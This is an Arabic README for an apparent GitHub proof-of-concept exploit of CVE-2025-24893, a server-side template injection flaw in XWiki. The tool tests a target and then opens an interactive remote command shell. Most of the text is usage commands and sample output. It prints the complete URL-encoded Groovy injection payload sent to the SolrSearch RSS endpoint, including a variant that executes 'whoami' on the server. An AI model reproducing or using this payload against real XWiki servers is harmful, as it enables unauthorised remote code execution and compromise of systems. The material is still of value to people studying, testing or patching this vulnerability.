y2f05p2w/cve-2025-24893إثبات مفهوم لاستغلال CVE-2025-24893، وهي ثغرة قالب من جانب الخادم (SSTI) في XWiki، توفر غلافًا تفاعليًا لتنفيذ الأوامر عن بُعد.
يقوم هذا الـ PoC أولاً باختبار ثغرة SSTI وإذا كانت تعمل. سيدخل في حلقة ويسمح لك بتنفيذ الأوامر عن بُعد.
أمرا exec و shell يقومان بنفس الوظيفة حالياً.
python3 poc.py <target>
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
xwiki
سيُظهر لك علم debug الموجود في أعلى السكربت الروابط المُنشأة. سيُنشئ ملف debug.log يحتوي على الاستجابة الخام للطلب.
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22XWIKI_TEST_123%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22whoami%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
xwiki